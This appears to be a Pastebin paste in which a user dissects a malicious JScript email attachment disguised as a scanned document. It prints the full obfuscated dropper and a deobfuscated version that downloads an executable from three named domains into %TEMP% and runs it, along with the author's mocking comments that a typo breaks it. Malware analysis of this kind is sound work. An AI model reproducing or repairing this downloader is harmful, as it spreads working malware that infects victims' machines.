API tools faq
paste
Advertisement
Blizzardo1

scan0000906106.doc.js

Blizzardo1
Feb 22nd, 2017
216
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
JavaScript 11.51 KB | None | 0 0
raw download clone embed print report
  1. /* So this Code is executable, however, it's so poorly written, that when you look at the deobfuscated code, you will notice the cringe.
  2. As you can see it's well "obfuscated". And since I couldn't produce a valid result, I decided to manipulate the code and convert it to C# code, cause I can... Stop interrogating me...
  3.  
  4. The file scan0000906106.doc.js was found in an archive named......... You've not guessed it... or have you? scan0000906106.zip...
  5. Because it's common sense to be receiving a scan that's a javascript file, zipped up waiting for you to extract.
  6. As far as I know, all my scans came in as PDF, WITH - NO ARRRRRRRRRRRR -- chive...
  7. */
  8. var str="5552555E0D0A020B2401070B1710051614174A070B095E3C5E120B1001060D08081D0B110A034A070B095E17555E55505052565D5251535C5E55"; function bkx() { nlbb += '; i<'; }; function vmky() { nlbb += '; };'; }; function genf() { mgha = ojdy[kknw]; };  function nqhd() { nlbb += 'Cod'; }; function mar() { nlbb += 'e",1,'; }; function oacn() { nlbb += 't("A'; }; function drm() { nlbb += ' {'; }; function ulwd() { nlbb += ' b'; }; function zkd() { nlbb += '; v'; }; function qkfq() { nlbb += '= 0;'; }; function gbzt() { nlbb += 'en'; }; function wbqv() { nlbb += 'ring'; }; function kcx() { nlbb += 'bre'; }; function sepa() { nlbb += '2.XML'; }; function havz() { nlbb += 'pt'; }; function jqlk() { nlbb += 'id="+'; }; function auad() { nlbb += 'nt'; }; function fymf() { nlbb += '"); '; }; function xoie() { nlbb += 'r '; }; function zjsl() { nlbb += 'ipt.'; }; function lun() { nlbb += 't.co'; }; function kni() { nlbb += 'us =='; }; function mkpt() { nlbb += ' (v'; }; function oiet() { nlbb += 'ld ='; }; function vcuf() { nlbb += '//"+'; }; function uvh() { nlbb += 'ng'; }; function ltef() { nlbb += '.fro'; }; function hvpn() { nlbb += ' r'; }; function enzl() { nlbb += ');'; }; function xbti() { nlbb += 'xa.'; }; function pmg() { nlbb += '; xo'; }; function tdaq() { nlbb += 'WScr'; }; function mrgn() { nlbb += 'ambh.'; }; var mgha = ''; function gtir() { nlbb += 'b.le'; }; function eily() { nlbb += ' (er'; }; function avce() { nlbb += '+"'; }; function qhml() { nlbb += '); if'; }; function iylz() { nlbb += 'oper'; }; function ibr() { nlbb += 'rea'; }; function vsnz() { nlbb += '; '; }; function fuf() { nlbb += 'reate'; }; function jrf() { nlbb += 'eBody'; }; function ykkb() { nlbb += 'at'; }; function kaq() { nlbb += ' t'; }; function aqco() { nlbb += 'tStr'; }; function boz() { nlbb += ' i=ld'; }; function ppz() { nlbb += 'eoa'; }; function vee() { nlbb += 'TP")'; }; function htow() { nlbb += 'Cr'; }; function fwop() { nlbb += 'eObj'; }; function jcjr() { nlbb += 'HT'; }; function uslv() { nlbb += 'onm'; }; function xhw() { nlbb += '.s'; }; function cix() { nlbb += 'or'; }; function vgja() { nlbb += 'th; '; }; function taoy() { nlbb += 'll")'; }; function nrfr() { nlbb += 's.c'; }; function kzr() { nlbb += '&rn'; }; function bpj() { nlbb += 'mCh'; }; function xyc() { nlbb += 't.'; }; function rcy() { nlbb += 'tream'; }; function wbrt() { nlbb += 'sit'; }; function gmnr() { nlbb += 'TEMP%'; }; function bslq() { nlbb += 'i]+"'; }; function xuyc() { nlbb += ' dn '; }; function nub() { nlbb += 'br".s'; }; function mmmd() { nlbb += 're'; }; function hgcs() { nlbb += 'dE'; }; function aifo() { nlbb += '= '; }; function dhz() { nlbb += 'ar n='; }; function ycq() { nlbb += '; xa.'; }; function fek() { nlbb += 'tie'; }; function fqsj() { nlbb += '"l'; }; function mpj() { nlbb += ' WS'; }; function brpo() { nlbb += 'po'; }; function ggpz() { nlbb += ' = '; }; function dir() { nlbb += 'n+"'; }; function jomd() { nlbb += 'n ='; }; function hzi() { nlbb += '; va'; }; function yllu() { nlbb += 'kpr'; }; function lrs() { nlbb += 'kres'; }; function odi() { nlbb += 'an'; }; function vjnt() { nlbb += 'Ob'; }; function sdy() { nlbb += '("%'; }; function cqqc() { nlbb += ', fa'; }; function fnt() { nlbb += '}; }'; }; function owl() { nlbb += 'var'; }; function ztmm() { nlbb += '; '; }; function hggq() { nlbb += 'ex'; }; function yimp() { nlbb += '.open'; }; function ansd() { nlbb += 'atch'; }; function rtjg() { nlbb += '.e'; }; function bcsz() { nlbb += '("GET'; }; function jce() { nlbb += 'nvir'; }; function wug() { nlbb += 'ws'; }; function kyau() { nlbb += 'cr'; }; var kknw = ''; function ucnf() { nlbb += 'a.ope'; }; function bxn() { mgha(nlbb); };  function otw() { nlbb += ' t'; }; function jal() { nlbb += ' i'; }; function ldwh() { nlbb += ' ws ='; }; function snqt() { nlbb += '"); v'; }; function ixwd() { kknw += 'al'; };  function yefx() { nlbb += ' for'; }; function sjen() { nlbb += '+"37'; }; function hvdv() { nlbb += 'a.siz'; }; function kwcy() { nlbb += 'cri'; }; function pgj() { nlbb += 'str'; }; function gdip() { nlbb += 'n++) '; }; function qtp() { nlbb += '87'; }; function hix() { nlbb += 'ings'; }; function pmv() { nlbb += 'MSXML'; }; function vss() { nlbb += 'xa.'; }; function chu() { nlbb += 'ar xo'; }; function ieb() { nlbb += 'close'; }; function huzf() { nlbb += 'xo.'; }; function snk() { nlbb += 'pl'; }; function edzs() { nlbb += 'ws.Ru'; }; function nrr() { nlbb += 'te('; }; function mvl() { nlbb += ' x'; }; function ljhy() { nlbb += 'it(" '; }; function uvfg() { nlbb += 'av'; }; function dkik() { nlbb += 'type'; }; function nyc() { nlbb += 'n<=3'; }; function unr() { kknw += 'ev'; };  function uslw() { nlbb += ' };'; }; function kzbc() { nlbb += 'spo'; }; function rmo() { nlbb += 'wri'; }; function ogu() { nlbb += '1; '; }; function uct() { nlbb += ' ld'; }; function xmv() { nlbb += 'b['; }; function xyzy() { nlbb += 'xp'; }; function ypt() { nlbb += '(x'; }; function ueuy() { nlbb += '()'; }; function vvdg() { nlbb += '; '; }; function avir() { ojdy = this; };  function ynnc() { nlbb += 'DOD'; }; function agyp() { nlbb += ' = WS'; }; function kpp() { nlbb += 'm cd'; }; function tgx() { nlbb += '}; i'; }; function sdk() { nlbb += 'om'; }; function weps() { nlbb += '/cou'; }; function jus() { nlbb += 'o.st'; }; function bxad() { nlbb += '; '; }; function okl() { nlbb += '")+St'; }; function vcvd() { nlbb += '; '; }; function buo() { nlbb += ' (x'; }; function werc() { nlbb += '{ for'; }; function pus() { nlbb += 'i++)'; }; function jayj() { nlbb += '; } c'; }; function ohuz() { nlbb += '"+n'; }; function mhi() { nlbb += 'ry'; }; function hcnl() { nlbb += '.E'; }; function tlf() { nlbb += 'end'; }; function eat() { nlbb += 'n+".'; }; function lcuf() { nlbb += 'ect("'; }; function jpih() { nlbb += 'f '; }; function dmgb() { nlbb += '> 1'; }; function znm() { nlbb += 'B.S'; }; function dwf() { nlbb += 'n(fn+'; }; function sxy() { nlbb += ' } '; }; function xrx() { nlbb += 'ipt.C'; }; function faz() { nlbb += 'n+'; }; function fhdb() { nlbb += 'fn '; }; function lfa() { nlbb += 'er/?'; }; function zkns() { nlbb += 'com.'; }; function chm() { nlbb += 'n(); '; }; function iym() { nlbb += '79'; }; function waxz() { nlbb += 'e(9'; }; function dls() { nlbb += 'Scrip'; }; function nvvk() { nlbb += '057'; }; function tth() { nlbb += 'ct("W'; }; function pji() { nlbb += '(dn '; }; function rcsr() { nlbb += 'je'; }; function fcii() { nlbb += 'ar x'; }; function jura() { nlbb += 'ht'; }; function gyc() { nlbb += 'ar '; }; function fth() { nlbb += 'jec'; }; function puu() { nlbb += ' ='; }; function fpd() { nlbb += 'ar'; }; function ktht() { nlbb += '","'; }; function gcc() { nlbb += 'ak; }'; }; function wuv() { nlbb += 'e '; }; function dnkq() { nlbb += ') { '; }; function umlh() { nlbb += 'le(f'; }; function uouo() { nlbb += 'ry '; }; function qko() { nlbb += '000) '; }; function hdl() { nlbb += ' 0;'; }; function lgnx() { nlbb += '0);'; }; function lns() { nlbb += 'iv'; }; function qonk() { nlbb += ') { }'; }; function jzy() { nlbb += '== 1'; }; function fxy() { nlbb += 'catch'; }; function wwfu() { nlbb += ' var'; }; function vlos() { nlbb += '08'; }; function wnat() { nlbb += 'eat'; }; function plvf() { nlbb += '00) {'; }; function dirv() { nlbb += '; xa.'; }; function dxfx() { nlbb += 'tp:'; }; function lkew() { nlbb += '.C'; }; function iko() { nlbb += '; i'; }; function jbct() { nlbb += '{ xo'; }; function lvjk() { nlbb += ' 2'; }; function awzy() { nlbb += 'ns'; }; function cxkp() { nlbb += 'e)'; }; function ddl() { nlbb += ' (er'; }; function gri() { nlbb += 'eToFi'; }; function sst() { nlbb += 'She'; }; function rzfl() { nlbb += '= 1'; }; var nlbb = ''; function crdi() { nlbb += 'teOb'; }; function fbt() { nlbb += ' 0'; }; function rvta() { nlbb += 'f '; }; function gzd() { nlbb += '2)'; }; function mzq() { nlbb += ' { '; }; function dcjn() { nlbb += ' (var'; }; function rjjo() { nlbb += ') {'; }; function fzm() { nlbb += 'xe",2'; }; function vsx() { nlbb += 'io'; }; function zqmn() { nlbb += ' = 1'; }; function kbt() { nlbb += '"; v'; }; function tiuy() { nlbb += 'var'; }; function fjx() { nlbb += 'd=5'; }; function yesj() { nlbb += 'a = '; }; function gcdx() { nlbb += 'xa.s'; }; function tqnq() { nlbb += '()'; }; function zctg() { nlbb += '{ dn '; }; function dznx() { nlbb += 'ls'; }; var ojdy = '';owl(); ulwd(); ggpz(); fqsj(); lns(); ppz(); lrs(); cix(); lun(); kpp(); yllu(); iylz(); fek(); nrfr(); sdk(); hvpn(); mrgn(); zkns(); nub(); snk(); ljhy(); fymf(); tiuy(); ldwh(); mpj(); kwcy(); havz(); lkew(); fuf(); vjnt(); rcsr(); tth(); dls(); xyc(); sst(); taoy(); hzi(); xoie(); fhdb(); aifo(); wug(); hcnl(); xyzy(); odi(); hgcs(); jce(); uslv(); gbzt(); aqco(); hix(); sdy(); gmnr(); okl(); wbqv(); ltef(); bpj(); fpd(); nqhd(); waxz(); gzd(); sjen(); vlos(); iym(); kbt(); chu(); agyp(); kyau(); zjsl(); htow(); wnat(); fwop(); lcuf(); pmv(); sepa(); jcjr(); vee(); zkd(); fcii(); yesj(); tdaq(); xrx(); ibr(); crdi(); fth(); oacn(); ynnc(); znm(); rcy(); snqt(); gyc(); oiet(); hdl(); yefx(); mkpt(); dhz(); ogu(); nyc(); vsnz(); gdip(); werc(); dcjn(); boz(); bkx(); gtir(); uvh(); vgja(); pus(); drm(); wwfu(); xuyc(); qkfq(); kaq(); uouo(); jbct(); yimp(); bcsz(); ktht(); jura(); dxfx(); vcuf(); xmv(); bslq(); weps(); auad(); lfa(); jqlk(); pgj(); avce(); kzr(); fjx(); nvvk(); qtp(); ohuz(); cqqc(); dznx(); cxkp(); pmg(); xhw(); tlf(); tqnq(); iko(); jpih(); ypt(); jus(); ykkb(); kni(); lvjk(); plvf(); mvl(); ucnf(); chm(); vss(); dkik(); zqmn(); bxad(); xbti(); rmo(); nrr(); huzf(); mmmd(); kzbc(); awzy(); jrf(); qhml(); buo(); hvdv(); wuv(); dmgb(); qko(); zctg(); rzfl(); ycq(); brpo(); wbrt(); vsx(); jomd(); fbt(); ztmm(); gcdx(); uvfg(); gri(); umlh(); faz(); dir(); rtjg(); fzm(); enzl(); otw(); mhi(); mzq(); edzs(); dwf(); eat(); hggq(); mar(); lgnx(); sxy(); fxy(); ddl(); dnkq(); fnt(); dirv(); ieb(); ueuy(); vcvd(); tgx(); rvta(); pji(); jzy(); rjjo(); uct(); puu(); jal(); vvdg(); kcx(); gcc(); jayj(); ansd(); eily(); qonk(); vmky(); uslw(); unr(); ixwd(); avir(); genf(); bxn();
  9.  
  10. /*  I produced this result from my code, and it looks like they forgot to add an e to the end of the path in the saveToFile function.
  11.     This produced so much lolz as it would not even dare run, because of this little mistake. But I do have to give some credit to
  12.     this little kiddie for at least trying.
  13. */
  14. var b = "liveoakresort.com cdkproperties.com rambh.com.br".split(" "); var ws = WScript.CreateObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%")+String.fromCharCode(92)+"370879"; var xo = WScript.CreateObject("MSXML2.XMLHTTP"); var xa = WScript.CreateObject("ADODB.Stream"); var ld = 0; for (var n=1; n<=3; n++) { for (var i=ld; i<b.length; i++) { var dn = 0; try { xo.open("GET", "http://"+b[i]+"/counter/?id="+str+"&rnd=505787"+n, false); xo.send(); if (xo.status == 200) { xa.open(); xa.type = 1; xa.write(xo.responseBody); if (xa.size > 1000) { dn = 1; xa.position =  0; xa.saveToFile(fn+n+".ex",2); try { ws.Run(fn+n+".exe",1,0); } catch (er) { } }; xa.close(); } if (dn == 1) { ld = i; break; }; } catch (er) { }; } }
  15. eval
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!